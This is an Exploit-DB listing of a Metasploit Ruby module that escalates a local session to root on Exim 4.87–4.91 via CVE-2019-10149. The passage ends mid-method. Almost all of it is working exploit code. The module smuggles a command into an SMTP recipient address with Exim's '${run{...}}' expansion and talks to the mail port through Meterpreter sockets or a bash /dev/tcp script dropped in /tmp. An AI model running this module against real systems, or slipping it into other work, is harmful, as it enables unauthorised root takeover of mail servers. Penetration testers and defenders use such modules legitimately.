Exploit-DB #47307
Description: Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2019-08-26
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'expect'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Exim 4.87 - 4.91 Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
        Improper validation of recipient address in deliver_message()
        function in /src/deliver.c may lead to command execution with root privileges
        (CVE-2019-10149).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Qualys', # Discovery and PoC (@qualys)
          'Dennis Herrmann', # Working exploit (@dhn)
          'Marco Ivaldi', # Working exploit (@0xdea)
          'Guillaume André' # Metasploit module (@yaumn_)
        ],
      'DisclosureDate' => '2019-06-05',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        =>
        [
          [
            'Exim 4.87 - 4.91',
            lower_version: Gem::Version.new('4.87'),
            upper_version: Gem::Version.new('4.91')
          ]
        ],
      'DefaultOptions' =>
        {
          'PrependSetgid' => true,
          'PrependSetuid' => true
        },
      'References'     =>
        [
          [ 'CVE', '2019-10149' ],
          [ 'EDB', '46996' ],
          [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
        ]
    ))

    register_options(
      [
        OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
      ])

    register_advanced_options(
      [
        OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),
        OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def encode_command(cmd)
    '\x' + cmd.unpack('H2' * cmd.length).join('\x')
  end

  def open_tcp_connection
    socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
      params = Rex::Socket::Parameters.new({
        'PeerHost' => '127.0.0.1',
        'PeerPort' => datastore['EXIMPORT']
      })
      begin
        socket = socket_subsystem.create_tcp_client_channel(params)
      rescue => e
        vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
                    "are you sure exim is listening on this port? (see EXIMPORT)")
        raise e
      end
    return socket_subsystem, socket
  end

  def inject_payload(payload)
    if session.type == 'meterpreter'
      socket_subsystem, socket = open_tcp_connection

      tcp_conversation = {
        nil                                          => /220/,
        'helo localhost'                             => /250/,
        "MAIL FROM:<>"                               => /250/,
        "RCPT TO:<${run{#{payload}}}@localhost>"     => /250/,
        'DATA'                                       => /354/,
        'Received:'                                  => nil,
        '.'                                          => /250/
      }

      begin
        tcp_conversation.each do |line, pattern|
          Timeout.timeout(datastore['SendExpectTimeout']) do
            if line
              if line == 'Received:'
                for i in (1..31)
                  socket.puts("#{line} #{i}\n")
                end
              else
                socket.puts("#{line}\n")
              end
            end
            if pattern
              socket.expect(pattern)
            end
          end
        end
      rescue Rex::ConnectionError => e
        fail_with(Failure::Unreachable, e.message)
      rescue Timeout::Error
        fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
      ensure
        socket.puts("QUIT\n")
        socket.close
        socket_subsystem.shutdown
      end
    else
      unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
                      "&& echo true").chomp.to_s == 'true'
        fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
      end

      bash_script = %|
        #!/bin/bash

        exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}
        read -u 3 && echo $REPLY
        echo "helo localhost" >&3
        read -u 3 && echo $REPLY
        echo "mail from:<>" >&3
        read -u 3 && echo $REPLY
        echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3
        read -u 3 && echo $REPLY
        echo "data" >&3
        read -u 3 && echo $REPLY
        for i in $(seq 1 30); do
          echo 'Received: $i' >&3
        done
        echo "." >&3
        read -u 3 && echo $REPLY
        echo "quit" >&3
        read -u 3 && echo $REPLY
      |

      @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
      write_file(@bash_script_path, bash_script)
      register_file_for_cleanup(@bash_script_path)
      chmod(@bash_script_path)
      cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")
    end

    print_status('Payload sent, wait a few seconds...')
    Rex.sleep(5)
  end

  def check_for_bash
    unless command_exists?('/bin/bash')
      fail_with(Failure::NotFound, 'bash not found')
    end
  end

  def on_new_session(session)
    super

    if session.type == 'meterpreter'
      session.